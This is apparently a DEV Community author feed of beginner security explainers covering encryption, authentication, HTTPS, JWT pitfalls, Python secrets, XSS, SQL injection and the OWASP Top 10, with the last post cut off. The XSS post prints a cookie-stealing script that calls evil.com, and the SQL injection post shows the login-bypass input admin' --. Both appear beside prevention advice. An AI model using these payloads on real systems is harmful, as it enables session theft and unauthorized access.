DEV Community: sergio gómez

Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math

sergio gómez — Wed, 04 Nov 2026 20:24:12 +0000

Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math

In the digital age, protecting information is a daily necessity: from the WhatsApp message you send to the online purchase you make. Two fundamental techniques make that security possible: symmetric encryption and asymmetric encryption. Although they sound complex, their operation can be explained with simple analogies and without diving into formulas. In this article you’ll discover what they are, their advantages and limitations, and when it’s best to use each one.

1. What is symmetric encryption and how does it work?

Symmetric encryption relies on a single key that is used both to encrypt and to decrypt data. Imagine a safe with one combination; anyone who knows the combination can open it and lock it again.

Main advantages
- Speed: because only one key is used, symmetric algorithms (such as AES) are very fast, making them ideal for large volumes of data (e.g., the contents of a file or a video stream).
- Operational simplicity: managing a single key reduces the complexity of the encryption process.
Main disadvantages
- Key distribution: the biggest challenge is sharing the key securely between the parties that need to communicate. If the key is intercepted, any attacker can decrypt the information.
- Limited scalability: in a network with n users, n × (n‑1)/2 distinct keys are required for every pair to communicate securely, which quickly becomes impractical.

In practice, symmetric encryption is used when speed is critical and the key has already been exchanged securely, such as for protecting data stored on hard drives or for transmitting multimedia content. (Source: Mailfence)

2. What is asymmetric encryption and why does it need two keys?

Asymmetric encryption, also called public‑key cryptography, uses a pair of keys: a public key and a private key. The public key is shared freely, while the private key is kept secret. The most common analogy is a mailbox: anyone can drop a letter using the public address, but only the owner of the private key can open it and read the contents.

Main advantages
- Secure key exchange: by using the public key to encrypt, there’s no need to send the secret key over the communication channel; only the public key travels, which does not compromise security.
- Authentication and digital signatures: the private key can create signatures that anyone can verify with the public key, guaranteeing the integrity and provenance of the message.
Main disadvantages
- Performance: asymmetric algorithms (such as RSA or ECC) are slower and consume more resources, so they are not suitable for encrypting large data blocks directly.
- Key size: to achieve security levels comparable to symmetric encryption, asymmetric keys must be considerably longer, increasing computational load.

Therefore, asymmetric encryption is mainly used in connection‑establishment protocols, such as the HTTPS handshake, where symmetric keys are exchanged securely before the actual data transmission begins. (Source: SSLDragon)

3. Combining the best of both worlds: hybrid encryption

Since each method has strengths and weaknesses, the most widely used practical solution is to combine them in a hybrid scheme:

Key exchange: one party generates a random symmetric key and encrypts it with the recipient’s public key (asymmetric encryption).
Data transmission: once the recipient decrypts the symmetric key with their private key, both parties use that key to encrypt and decrypt the rest of the communication (symmetric encryption).

This approach leverages the security of asymmetric key exchange and the speed of symmetric encryption. It underlies most modern protocols, such as TLS/SSL, which protect our online purchases, email access, and file transfers. (Source: Hexatransfer)

4. Which one to choose based on the need?

Need	Best option	Why
Encrypt large volumes of data (files, streaming)	Symmetric	High speed and low resource consumption.
Exchange information between unknown users	Asymmetric	No prior secret key sharing required.
Sign documents or messages	Asymmetric	Allows authenticity verification with the public key.
Build end‑to‑end secure communication	Hybrid (symmetric + asymmetric)	Combines secure key exchange with fast data transmission.

In corporate environments, the common practice is to generate a digital certificate (public/private key pair) for each server and use it to negotiate a temporary symmetric key. In mobile applications, developers often store a symmetric key on the device and protect it with the operating system’s keystore, which in turn is backed by asymmetric cryptography. (Source: Prey)

Conclusion

Symmetric and asymmetric encryption are the pillars of digital security, but each addresses different problems: speed vs. secure key exchange, simplicity vs. authentication. Understanding their characteristics lets you pick the right tool for each case, and when combined, they provide robust protection without sacrificing performance. The next time you see the lock icon in your browser’s address bar, remember that behind it is a dance of public and private keys working together to keep your data safe.

Want to strengthen the security of your projects? Start by identifying what type of data you handle and adopt a hybrid scheme: use a public key for the initial exchange and a symmetric key for the rest of the communication. Implementing this practice today will reduce risk and improve your users’ experience. Get moving and protect your information with the right combination of encryption!

Sources and references

Authentication vs. Authorization: The Difference Everyone Confuses

sergio gómez — Wed, 04 Nov 2026 20:19:39 +0000

Authentication vs. Authorization: The Difference Everyone Confuses

In day‑to‑day information security practice, authentication and authorization are often treated as synonyms. This confusion is one of the most common causes of security breaches, because IT teams apply controls in the wrong place. In this article we break down, in a practical and straightforward way, what each process means, how they differ, and what steps you can take to avoid common mistakes in your systems.

What Is Authentication?

Authentication is the first step of any access flow: verifying the identity of the user trying to get in. In other words, the system needs to be sure that the person who says they are “Juan Pérez” really is.

Typical mechanisms: passwords, one‑time tokens (OTP), biometrics (fingerprint, facial recognition) and digital certificates.
Goal: confirm that the subject requesting access is who they claim to be before any interaction with the resource is allowed.

According to SentinelOne, many breaches originate because teams confuse authentication with authorization; the first step—identity verification—must be completed without ambiguity. In modern identity environments, authentication is usually centralized in an identity provider (IdP) that manages credentials and common protocols such as OAuth, OpenID Connect, or SAML.

What Is Authorization?

Once the identity is confirmed, the next process is authorization. Here the system determines what actions the authenticated user may perform and which resources they can access.

Typical mechanisms: access control lists (ACL), roles (RBAC), attributes (ABAC), and context‑based policies (e.g., location or device).
Goal: limit the scope of access according to the assigned permission level, preventing a legitimate user from doing things outside their domain.

IBM describes authorization as the process that “provides the user the level of access needed.” In other words, after authentication has said “this is Juan,” authorization answers “Juan can view his purchase history, but cannot modify server settings.”

Key Differences and Points of Confusion

Aspect	Authentication	Authorization
What it verifies	Subject’s identity	Permissions and privileges
When it occurs	At the start of the access flow	After authentication, before the action
Typical example	Entering username and password	Accessing the site’s admin page
Tools	IdP, MFA, password managers	RBAC, security policies, application firewalls

Why They Get Mixed Up

Similar terminology: both words start with “auth‑” and are used together within the identity and access management (IAM) cycle.
Integrated implementations: some platforms offer “authentication and authorization” as a single module, which can hide the logical separation of the processes.
Lack of clear documentation: teams that do not document their security flows tend to blend the concepts, making auditing and incident response harder.

SentinelOne warns that the lack of clarity between the two processes leads to placing security controls at the wrong point, leaving vulnerabilities exposed. For example, validating a password (authentication) does not protect against a user who, although legitimate, tries to access confidential data without proper authorization.

Best Practices to Keep the Concepts Separate

Separate the flows in the architecture
- Use an identity provider (IdP) exclusively for authentication.
- Deploy an independent authorization engine that evaluates roles and policies after the IdP has issued a token.
Apply the principle of “least privilege”
- Assign each user only the permissions strictly necessary for their role.
- Review and revoke inactive roles on a regular basis.
Use multi‑factor authentication (MFA)
- Add an extra verification layer before generating the authorization token.
- MFA reduces the risk that compromised credentials lead to unauthorized access.
Audit and log both events separately
- Record when and how a user was authenticated (timestamp, method, IP).
- Log each authorization decision (resource requested, policy applied, outcome).
- Separate logs make it easier to spot anomalous behavior.
Train personnel
- Conduct training sessions that explain the difference between “who you are” and “what you can do.”
- Use concrete examples (e.g., an HR employee can view employee records but cannot deploy production code).
Periodically review the identity stack
- Various security guides recommend validating that each layer (authentication and authorization) fulfills its purpose without overlapping.

By following these practices, you reduce the likelihood that a breach stems from a mis‑configured authorization or an insufficient authentication.

Conclusion

Understanding and respecting the line that separates authentication (who you are) from authorization (what you can do) is essential for building secure, resilient systems. Confusing the two concepts is a frequent source of vulnerabilities, but with a well‑defined architecture, “least privilege” policies, and continuous auditing, you can minimize the risks.

Ready to strengthen your security strategy? Review your access flows, clearly separate authentication and authorization components, and start applying the best practices outlined above. An environment where each process fulfills its role is the foundation for protecting your data and maintaining user trust.

Share this article with your team and start clarifying the difference between authentication and authorization in your organization today.

Sources and references

HTTP vs HTTPS: What Really Happens When You Browse

sergio gómez — Wed, 04 Nov 2026 20:18:51 +0000

HTTP vs HTTPS: What Really Happens When You Browse

In most browsers the difference between http:// and https:// looks like just a visual detail: a lock icon or a “not secure” warning. Beneath that appearance lie critical processes that determine whether the information you send and receive is protected or vulnerable. In this article we break down, in a practical and straightforward way, what happens at each step of the communication, what the real advantages of HTTPS are, and when (if ever) it still makes sense to use HTTP.

1. How HTTP Works: the Web’s Unprotected “Language”

HTTP (HyperText Transfer Protocol) defines how browsers request resources (pages, images, scripts) and how servers deliver them. According to the Underc0de guide, “HTTP is the language your browser uses to ask for pages and the servers use to respond” [6].

The process is simple:

Client → Server: The browser opens a TCP connection and sends a request (e.g., GET /index.html).
Server → Client: The server replies with the requested resource and a status code (200 OK, 404 Not Found, etc.).

The entire exchange occurs in plain text. Any device that intercepts the connection (a router, an ISP, or an attacker on the same Wi‑Fi network) can read, copy, or modify the data without the user noticing. Therefore, HTTP provides no confidentiality or integrity guarantees.

2. HTTPS: HTTP Protected by TLS

HTTPS keeps the same request‑response structure but adds a security layer via TLS (Transport Layer Security). The NetworkTechnology guide explains that “HTTPS preserves that conversation, but protects it with TLS to provide encryption, integrity, and server authentication” [2].

Key steps are:

Step	What Happens	Why It Matters
TLS Handshake	The client and server negotiate encryption algorithms and the server sends its digital certificate.	The certificate verifies that the server is who it claims to be (authentication).
Encryption	All requests and responses are encrypted with keys derived from the handshake.	Prevents third parties from reading the content (confidentiality).
Integrity	Each message includes a Message Authentication Code (MAC) that detects tampering.	Stops an attacker from altering data in transit.

The result is a connection that, although it still uses HTTP to describe the request, exposes nothing in plain text. Browsers indicate this with the lock icon and, in some cases, with a “Secure” label. SiteGround notes that “HTTPS protects your data and the integrity of the information traveling between the client and the server” [5].

3. Concrete Benefits of Moving to HTTPS

3.1 Data Security

Confidentiality: Credentials, personal data, or payment information are encrypted.
Integrity: Content cannot be altered without the browser detecting it.
Authentication: The SSL/TLS certificate guarantees that the site you connect to is legitimate, reducing phishing risk.

3.2 SEO Impact and User Trust

Various guides indicate that search engines favor sites that use HTTPS, translating into better rankings [3]. Moreover, users trust sites that display the lock icon; its absence can generate distrust and abandonment.

3.3 Best Practices and Regulatory Compliance

The Programmer’s Blog highlights that, in 2026, most privacy standards (such as GDPR) require protection of data in transit, and HTTPS is the simplest way to meet that requirement [1]. Likewise, SiteGround’s guide recommends using HTTPS as the default configuration for any new web project.

4. When (If) HTTP Might Still Be Justified

Although HTTPS is the recommended choice almost universally, there are limited scenarios where HTTP can be acceptable:

Fully public, non‑interactive content: For example, a static page that only displays public information and does not collect user data.
Internal development environments: In closed networks where access control is guaranteed, some teams choose HTTP to simplify testing.

Keyfactor warns that “HTTPS still cannot hide the server’s IP address or connection metadata,” meaning that even though the content is encrypted, certain data remains visible [4]. For that reason, even in the scenarios above, it is wise to assess whether the reduction in complexity justifies the potential exposure of network‑level information.

5. Conclusion

HTTP and HTTPS share the same request‑response logic but differ dramatically in how they handle information in transit. While HTTP delivers data in plain text, HTTPS wraps it in a TLS layer that provides encryption, integrity, and authentication. The advantages of adopting HTTPS go beyond security: they improve SEO, increase user confidence, and simplify compliance with privacy regulations. Only in very specific situations (purely public content or controlled environments) might HTTP be considered, but even then the risks should be carefully evaluated.

6. Ready to Secure Your Site?

If you haven’t migrated your project to HTTPS yet, the next step is to obtain a TLS certificate (many Certificate Authorities offer them for free) and configure your server to redirect all HTTP traffic to HTTPS. Guides like Underc0de’s include detailed migration steps [6].

Don’t wait any longer! Implement HTTPS today and give your users the peace of mind that comes from browsing in a safe and trustworthy environment.

Sources and references

JWT: What They Are and the 5 Most Common Security Mistakes

sergio gómez — Wed, 04 Nov 2026 19:36:49 +0000

JWT: What They Are and the 5 Most Common Security Mistakes

JSON Web Tokens (JWT) are one of the most widely used options for transmitting authentication data between client and server. Their compact format and the ability to validate identity without hitting the database on every request make them attractive, but they also expose applications to vulnerabilities that can compromise security. In this article we explain what a JWT is, describe the five most frequent security flaws, and provide concrete recommendations to avoid them.

What Is a JWT and How Does It Work?

A JWT consists of three Base64URL‑encoded parts separated by dots (.):

Header – indicates the token type (JWT) and the signing algorithm (HS256, RS256, etc.).
Payload – contains the claims (user identifier, roles, expiration, etc.).
Signature – the result of applying the indicated algorithm to the concatenation of the header and the payload, using a secret key (HMAC) or a private key (RSA/ECDSA).

When the token is received, the server verifies the signature and, if it is valid, trusts the claims without querying the database, although additional checks (e.g., revocation lists) can be combined in some cases. This architecture enables efficient scaling of APIs and microservices, provided that signing and validation are performed correctly.

The 5 Most Common Security Mistakes

Below are the flaws that appear most frequently in audits and pentests and that often cause breaches in systems that use JWT.

1. `none` Algorithm Enabled

The JWT standard allows the signing algorithm to be specified in the header. Some frameworks accept the value none, which indicates that the token is unsigned. An attacker can craft an arbitrary token with "alg":"none" and modify the claims without the server detecting it. This vector is one of the most critical.

2. `kid` (Key ID) Injection

The kid field lets the receiver select the public key used to verify the signature. If the application does not strictly control the accepted values, an attacker can inject a kid that points to a key they control, causing the signature to be validated with the wrong key. This vulnerability, known as kid injection, appears in several JWT security guides.

3. Use of a Weak Secret Key

When HMAC algorithms are used (e.g., HS256), security depends on the strength of the shared secret. Using short, predictable passwords or storing them in plain text makes brute‑force or dictionary attacks feasible for generating a valid signature. Bugs related to weak secret are common in quick implementations or development environments.

4. Algorithm Confusion

Some servers accept both symmetric (HMAC) and asymmetric (RSA/ECDSA) algorithms. If an attacker changes the algorithm in the header without the backend verifying it, they can switch from an HMAC signature to an RSA one without knowing the private key, causing a token signed with a public key to be accepted as valid.

5. Missing Mandatory Validations (expiration, audience, etc.)

RFC 8725 states that certain claims must be validated obligatorily: exp, nbf, iat, and aud. Ignoring these checks allows an expired or replayed token to be accepted, opening the door to replay attacks or identity spoofing.

Best Practices to Avoid the Mistakes

Disable none – Configure your JWT library to reject any token that declares "alg":"none" and, if possible, remove that option from the source code.
Strict kid control – Validate that the kid comes from a whitelist of identifiers and load the corresponding key securely.
Robust secret key – Use secrets of at least 256 bits generated randomly and store them in a secret manager (e.g., Vault or AWS Secrets Manager).
Fix the algorithm – Explicitly define the algorithm your application will accept and reject any token that specifies a different one.
Validate critical claims – Implement verification of exp, nbf, iat, and aud as recommended by RFC 8725. Consider revoking tokens via a blacklist when necessary.

Some best‑practice guides recommend storing JWTs in cookies with the HttpOnly and Secure flags, or in client‑side storage protected against XSS, to reduce the risk of theft via malicious scripts.

When It’s Better to Avoid JWT

In environments where session load is low and immediate revocation of access is required, a traditional server‑side cookie‑based session can be safer and easier to manage. Likewise, if the architecture does not need stateless communication between microservices, using JWT may introduce unnecessary complexity.

Conclusion

JSON Web Tokens provide an efficient way to convey authentication information, but their security hinges on careful configuration. The five mistakes described—none, kid injection, weak keys, algorithm confusion, and missing validations—are critical points that any developer or DevSecOps team should review. Applying the best practices from RFC 8725 and following recommendations from specialized sources helps mitigate these risks.

Sources and references

How to Keep Secrets in Python Without Pushing Them to GitHub

sergio gómez — Wed, 04 Nov 2026 19:36:13 +0000

How to Keep Secrets in Python Without Pushing Them to GitHub

In Python application development it’s common to work with API keys, access tokens, or database credentials. Accidentally publishing these values in a public repository can compromise your project’s security and generate unexpected costs. Below is a practical, straightforward method to keep your secrets out of the code and prevent them from ending up on GitHub.

1. Understanding the Risk of Storing Secrets in the Repository

Git records every change permanently. Even if you delete a secret in a later commit, the value remains in the history and anyone who clones the repository can retrieve it. This situation is described in the best‑practice guide for secret management in development teams, which recommends preventing sensitive values from entering the source tree from the start【3】. Moreover, public repositories are indexed by search engines and can be automatically scanned by bots looking for exposed keys.

2. Using `.env` Files and the `python‑dotenv` Library

The simplest and most widely adopted solution is to store the values in a plain‑text file called .env. Each line contains an environment variable in the form NAME=value. For example:

API_KEY=12345abcde
DB_PASSWORD=mi_contraseña_secreta

The file is never committed to the repository; it lives locally or in the deployment environment. When your application starts, the python‑dotenv library reads the .env file and loads those variables into the process environment, so you can access them with os.getenv():

import os
from dotenv import load_dotenv

load_dotenv()               # Load .env into the environment
api_key = os.getenv("API_KEY")
db_pass = os.getenv("DB_PASSWORD")

This practice is outlined in the guide on secret and API‑key management in Python, which advises keeping secrets out of the code and loading them only when needed【1】.

3. Protecting the `.env` File with `.gitignore` and Best Practices

To make sure the file never gets included in commits, add it to the project’s .gitignore:

# .gitignore
.env

It’s good practice to create a .env.example file that contains only the variable names without values. This way, any collaborator knows which variables need to be defined without exposing real data.

# .env.example
API_KEY=
DB_PASSWORD=

When the project is initialized, each developer copies this file to .env and fills in the local values. If you accidentally commit the file, you can purge it from history with tools like git filter-branch or git filter-repo, although preventing the inclusion in the first place is the ideal approach【3】.

4. Advanced Alternatives for Production Environments

4.1 GitHub Secrets

GitHub provides a mechanism called Secrets that allows you to store encrypted values at the repository or organization level. These secrets can be consumed by GitHub Actions during CI/CD pipelines without appearing in logs. The official GitHub documentation explains how to create and use these secrets securely【2】.

In a workflow, a secret is accessed with the syntax ${{ secrets.NAME }} and passed to the container or script that runs the application. This option is ideal when deployment is performed entirely on GitHub’s infrastructure.

4.2 External Secret Managers

For more complex projects, you can integrate specialized services such as HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault. These systems offer automatic credential rotation, auditing, and policy‑based access control. Although their setup is more involved, they provide an additional security layer that goes beyond a simple .env file.

5. Quick Checklist to Avoid Exposing Secrets

Action	✅ Yes	❌ No
Add `.env` to `.gitignore`
Keep a `.env.example` without values
Review history with `git log --stat` before publishing
Use `python-dotenv` to load variables
Configure GitHub Secrets for CI/CD
Avoid printing sensitive variables in logs
Rotate credentials regularly

Following this checklist on every new project significantly reduces the risk of leaks.

Conclusion

Keeping secrets out of source code is an essential practice for any Python developer publishing to GitHub. By using a .env file together with python-dotenv, protecting it with .gitignore, and supplementing with GitHub Secrets or external managers, you can ensure that your keys and passwords remain confidential in both development and production.

Ready to secure your next project?

Create a .env.example file right now, add .env to your .gitignore, and test variable loading with python-dotenv. If you use GitHub Actions, configure at least one secret and watch your pipeline run without revealing sensitive information. Protect your code and sleep easy!

Sources and references

XSS: the most common web vulnerability, explained with examples

sergio gómez — Wed, 04 Nov 2026 19:35:47 +0000

XSS: the most common web vulnerability, explained with examples

Cross‑Site Scripting (XSS) attacks continue to top the lists of web vulnerabilities. The reason is simple: a single point where the application turns user‑supplied data into code is enough for the browser to execute it as if it were native — a scenario that occurs far too often in real‑world projects (Source [3]).

What is XSS and why it remains the most frequent problem?

XSS is a vulnerability that allows an attacker to inject malicious scripts, usually JavaScript, into pages viewed by end users. The browser runs that code without suspicion (Source [4]). The root cause is the lack of validation or sanitization of user input before it is incorporated into the generated HTML (Source [1]).

Unlike vulnerabilities that require complex configurations or infrastructure access, XSS hinges on a single failure point: any field that accepts external data (comments, search forms, URL parameters) and inserts it directly into the server’s response. For that reason, even in 2025 it remains the most common flaw on the web (Source [3]).

Types of XSS and practical examples

There are three main variants, each with its own attack vector and danger level (Source [6]):

1. Reflected XSS

The malicious script is sent to the server via a request and is reflected immediately in the HTML response.

Example:

GET /search?q=<script>alert('XSS')</script>

If the page displays the searched term without escaping it, the browser will execute alert('XSS'). This type is common in internal search engines or contact forms that echo back the submitted value.

2. Stored XSS

The payload is stored in a database or other persistent medium and served to any user who visits the affected page.

Example:

A forum allows users to create posts. An attacker publishes:

<p>Check out my photo! <script>fetch('https://evil.com/steal?c='+document.cookie)</script></p>

Every visitor who reads the message will execute the script and send their cookie to the attacker. This is the most dangerous type because the injection persists and affects multiple users.

3. DOM‑based XSS

The attack occurs on the client side: the malicious script manipulates the Document Object Model (DOM) via JavaScript that processes user data (e.g., location.hash or innerHTML).

Example:

// Vulnerable code on the page
document.getElementById('output').innerHTML = location.hash;

If the attacker navigates to https://victim.com/#<script>steal()</script>, the URL fragment is inserted without sanitization and the script runs. This vector does not require any server interaction, making it hard to detect with traditional scans.

How XSS is exploited in practice

Identify the injection point – The attacker tests input fields (forms, GET/POST parameters, headers) and checks whether the response contains the data unencoded (Source [2]).
Build the payload – Choose a script that fulfills the goal: stealing cookies, redirecting to phishing sites, loading a cryptocurrency “miner”, etc. Recent resources provide real‑world payloads and bypass techniques to evade basic filters (Source [3]).
Execute and exfiltrate – When the victim loads the compromised page, the browser treats the script as its own. A typical case is capturing document.cookie and sending it to a server controlled by the attacker.
Escalate – With the stolen session, the attacker can act on behalf of the user, access confidential data, or even create new attack vectors inside the application.

The critical factor is that the browser does not distinguish between legitimate code and injected code; it simply runs whatever it receives. Therefore, prevention must focus on stopping any untrusted data from becoming executable code.

Effective measures to prevent XSS

1. Input validation and sanitization

Whitelist: accept only the characters you expect (e.g., alphanumerics and a limited set of symbols).
Sanitization libraries: use battle‑tested tools (e.g., DOMPurify) that strip dangerous tags and attributes.

2. Output escaping (output encoding)

Before inserting data into HTML, attributes, JavaScript, or CSS, apply the appropriate escaping for the context (HTML‑entity, JavaScript‑string, URL‑encoding). This practice eliminates the chance that the browser interprets the content as code (Source [5]).

3. Content Security Policy (CSP)

A well‑configured CSP restricts the sources from which scripts may be loaded. For example, script‑src 'self' blocks the execution of injected scripts that do not originate from the same domain, dramatically reducing the impact of a successful XSS (Source [5]).

4. HTTP‑Only and Secure flags on cookies

Mark session cookies with HttpOnly to prevent JavaScript from accessing them, limiting the damage of an attack that manages to inject code.

5. Reviews and automated testing

Vulnerability scanners: tools that detect reflected or stored injection points.
Manual penetration testing: especially for DOM‑based XSS, which often slips past scanners.

6. Development team education

Many flaws persist due to lack of knowledge. Training developers on how and why XSS occurs and on the correct use of escaping functions is a first‑line defense (Source [3]).

Conclusion

Cross‑Site Scripting remains the most common web flaw because any untreated data can become executable code. Understanding its three variants—reflected, stored, and DOM‑based—and the exploitation steps enables the design of concrete defenses: validate and sanitize input, escape output, apply CSP, and harden cookies. Prevention is not optional; it is an essential practice for protecting user confidentiality and integrity.

**¿Listo para poner

Sources and references

SQL Injection Explained for Beginners: How It Works and How to Prevent It

sergio gómez — Wed, 04 Nov 2026 19:30:31 +0000

SQL Injection Explained for Beginners: How It Works and How to Prevent It

SQL injection (SQLi) is one of the oldest and most dangerous attacks against web applications that handle databases. Despite its long history, it remains a frequent threat because many developers build dynamic queries without properly validating user input. In this article you will discover, in a practical and straightforward way, what SQL injection is, how it is carried out, and, most importantly, what measures you can apply today to protect your projects.

What Is SQL Injection and Why Is It Dangerous?

An SQL injection occurs when an application inserts user‑provided data directly into an SQL statement without sanitizing it. The attacker exploits this lack of control to alter the query logic and, thereby, bypass authentication, extract confidential information, or even modify and delete data.

“SQL injection is an attack that manipulates dynamic SQL statements to bypass authentication or expose data, taking advantage of web applications that generate queries from unvalidated user data.” (Guru99)¹

The consequences can be severe: from leaking customer data to taking full control of the database server. That’s why understanding the attack mechanism is the first step toward preventing it.

How SQL Injection Works: Step‑by‑Step Process

Unvalidated input The application receives data from the user (for example, a login field) and inserts it directly into an SQL string.

   SELECT * FROM usuarios WHERE usuario = '$_POST[usuario]' AND clave = '$_POST[clave]';

Payload injection

The attacker supplies a value that closes the original string and appends their own SQL code.
- Typical input: admin' --
- Resulting query:
```
 SELECT * FROM usuarios WHERE usuario = 'admin' --' AND clave = '';
```

The -- comments out the rest of the statement, causing the password condition to be ignored and the attacker to log in as admin.

Execution and exploitation The database executes the altered query and returns data the attacker should not see. Depending on the payload, the attacker may also:
- Union‑Based: combine results from other tables (UNION SELECT …).
- Error‑Based: force errors that reveal the database schema.
- Blind: infer data through true/false responses when direct output is hidden.

These are some of the injection types described in specialized guides (DataCamp, Nurbak)².

Main Prevention Techniques

1. Parameterized Queries and Prepared Statements

The most recommended way to avoid injection is to never concatenate values directly into the query. Instead, use parameters that the database treats as data, not code.

$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE usuario = :usuario AND clave = :clave');
$stmt->execute(['usuario' => $inputUsuario, 'clave' => $inputClave]);

Parameters are substituted safely, preventing any special character from altering the SQL logic. This practice is highlighted in Victor Hugo Solís’s guide as an essential step for any project³.

2. Input Validation and Sanitization

Although parameterized queries are the primary defense, validating input further strengthens security:

Data type: ensure a field that should be numeric receives only numbers.
Length: limit the number of characters to prevent overly long payloads.
Whitelist: accept only expected values (e.g., “admin”, “user”) and reject everything else.

3. Principle of Least Privilege

Configure the database account used by the application with only the permissions it strictly needs. If the account only needs to read data, do not grant write or administrative privileges. This way, even if an attacker manages to inject code, the potential damage is reduced.

4. Careful Use of ORMs and Frameworks

Object‑Relational Mappers (ORMs) simplify database access, but they are not an automatic shield against injection. Some implementations can generate dynamic queries that still accept values without parameterization. Nurbak’s guide notes that “ORM pitfalls still catch experienced teams,” so it’s vital to review the documentation and ensure the ORM always uses prepared statements⁴.

5. Scanning and Security Testing

Incorporate static and dynamic analysis tools that detect vulnerable queries. Conduct regular penetration tests, focusing on data entry points (forms, APIs, URL parameters). Early detection allows you to fix vulnerabilities before they are exploited⁵.

Practical Example: From Vulnerable Code to Secure Code

Vulnerable code (PHP):

$user = $_GET['user'];
$pass = $_GET['pass'];
$query = "SELECT * FROM usuarios WHERE usuario = '$user' AND clave = '$pass'";
$result = mysqli_query($conn, $query);

Secure code with parameters (PHP + PDO):

$user = $_GET['user'];
$pass = $_GET['pass'];
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE usuario = :user AND clave = :pass');
$stmt->execute(['user' => $user, 'pass' => $pass]);
$result = $stmt->fetchAll();

In the first case, an attacker could send admin' -- as the user value and bypass password verification. In the second case, the value is treated as data and the query can never be altered.

Conclusion and Call to Action

SQL injection remains a real threat because the root problem – mixing code and data – is easy to overlook in rushed projects. With a few solid practices (parameterized queries, strict validation, least‑privilege accounts, and continuous testing) you can virtually eliminate the risk.

Your next step: review your application’s code today. Identify any query built by concatenating values and replace it with a prepared statement. If you use an ORM, verify that all read and write operations employ the secure mechanisms the framework provides. Finally, schedule an internal penetration‑testing session to confirm that the vulnerabilities have been fixed.

Protect your data and your users’ data: security starts with simple yet decisive choices in every line of code. Act now and keep your application safe from SQL injection!

¹ Guru99, “Tutorial de inyección SQL: aprenda con el ejemplo”.

² DataCamp, “Inyección SQL: Cómo funciona y cómo prevenirlo”.

³ Victor Hugo Solís, “Inyección SQL: Cómo Funciona y Cómo Prevenirla”.

⁴ Nurbak, “Inyección SQL: Ejemplos y Cómo Prevenirla”.

⁵ Avast, “¿Qué es la inyección de SQL? | Explicación y protección”.

Sources and references

OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos

sergio gómez — Wed, 04 Nov 2026 17:34:31 +0000

OWASP Top 10: Qué es y cómo aplicarlo día a día en tus proyectos

El OWASP Top 10 es la referencia más utilizada por desarrolladores, equipos de seguridad y auditorías para identificar y mitigar las vulnerabilidades más críticas en aplicaciones web. Cada pocos años la comunidad de OWASP actualiza la lista; la edición 2025 incluye diez categorías que cubren desde fallos de control de acceso hasta problemas de registro y monitoreo (Cloudflare).

1. ¿Qué es el OWASP Top 10 y por qué es relevante?

OWASP (Open Web Application Security Project) es una organización sin ánimo de lucro que reúne a expertos en seguridad para crear recursos abiertos y gratuitos (Cloudflare). Su lista “Top 10” es un informe periódico que destaca los riesgos de seguridad más comunes y graves para aplicaciones web (Cloudflare). La finalidad es ofrecer un lenguaje común y una hoja de ruta clara para que los equipos de desarrollo prioricen sus esfuerzos de defensa.

Visibilidad: la lista es adoptada globalmente y sirve como referencia estándar en auditorías y certificaciones (Cloudflare).
Actualización constante: la edición 2025 incorpora cambios respecto a la versión 2021, reflejando nuevas técnicas de ataque y tendencias del sector (Underc0de).
Accesibilidad: la documentación está disponible en varios idiomas y se complementa con guías de prevención y ejemplos concretos (SentinelOne).

En resumen, el OWASP Top 10 no es solo un catálogo de vulnerabilidades; es una herramienta práctica para elevar la calidad de código y reducir la superficie de ataque de tus aplicaciones.

2. Las diez categorías del Top 10 2025

Categoría	Descripción breve	Ejemplo típico	Medida preventiva clave
A01 – Broken Access Control	Fallos al restringir quién puede acceder a recursos.	Un usuario normal modifica la URL para acceder a datos de otro cliente.	Implementar controles de autorización en el servidor y validar cada solicitud.
A02 – Cryptographic Failures	Uso incorrecto o ausencia de criptografía.	Contraseñas almacenadas en texto plano.	Utilizar algoritmos de hash fuertes (p. ej. Argon2) y cifrado TLS para datos en tránsito.
A03 – Injection	Inserción de código malicioso en consultas o comandos.	SQL injection mediante parámetros no escapados.	Emplear consultas parametrizadas o ORM que gestionen el escape automáticamente.
A04 – Insecure Design	Falta de principios de seguridad en la arquitectura.	Falta de defensa en profundidad en una API pública.	Aplicar patrones de diseño seguro y realizar revisiones de arquitectura tempranas.
A05 – Security Misconfiguration	Configuraciones por defecto o inseguras.	Servidor con encabezados de seguridad desactivados.	Automatizar la configuración segura mediante plantillas y escáneres de configuración.
A06 – Vulnerable and Outdated Components	Dependencias con vulnerabilidades conocidas.	Uso de una versión antigua de jQuery con CVE crítico.	Mantener un inventario de componentes y aplicar actualizaciones regulares.
A07 – Identification and Authentication Failures	Deficiencias en la gestión de identidades.	Sesiones que no expiran después de inactividad.	Implementar autenticación multifactor y gestión robusta de sesiones.
A08 – Software and Data Integrity Failures	Falta de verificación de integridad de código o datos.	Descarga de paquetes sin firma digital.	Firmar artefactos y validar firmas antes de la ejecución.
A09 – Security Logging and Monitoring Failures	Ausencia de registros útiles para detección de incidentes.	No registrar intentos fallidos de login.	Registrar eventos críticos y centralizar logs para análisis.
A10 – Server‑Side Request Forgery (SSRF)	El servidor realiza peticiones a recursos internos no autorizados.	Un endpoint que permite al atacante leer archivos internos mediante URL manipulada.	Validar y limitar destinos de URLs externas y usar listas blancas.

Estas categorías cubren la mayor parte de los vectores de ataque que los pentesters y atacantes explotan habitualmente. Conocerlas permite anticiparse a los problemas antes de que se conviertan en incidentes reales.

3. Incorporar el Top 10 en tu rutina de desarrollo

a) Checklist de código y revisión de pull‑request

Al crear o actualizar código, incluye una lista de verificación basada en las diez categorías. Cada pull‑request debe pasar por una revisión que confirme:

No se introducen consultas sin parametrizar (A03).
Las dependencias están actualizadas (A06).
Los encabezados de seguridad están presentes (A05).

b) Integración continua (CI) con escáneres de vulnerabilidades

Configura tu pipeline de CI para ejecutar escáneres estáticos (SAST) y de composición de software (SCA). Estos detectan inyecciones potenciales, uso de bibliotecas vulnerables y configuraciones inseguras. Cuando el escáner reporte una vulnerabilidad, asigna la categoría correspondiente del Top 10 y prioriza su corrección según la gravedad.

c) Pruebas de penetración internas y externas

Aunque los escáneres automatizados son útiles, las pruebas manuales siguen siendo esenciales. Usa la lista del Top 10 como guía de pruebas: intenta romper el control de acceso, generar inyecciones o forzar SSRF. Documenta los hallazgos y corrígelos antes de lanzar a producción (OWASP Developer Guide).

d) Capacitación continua del equipo

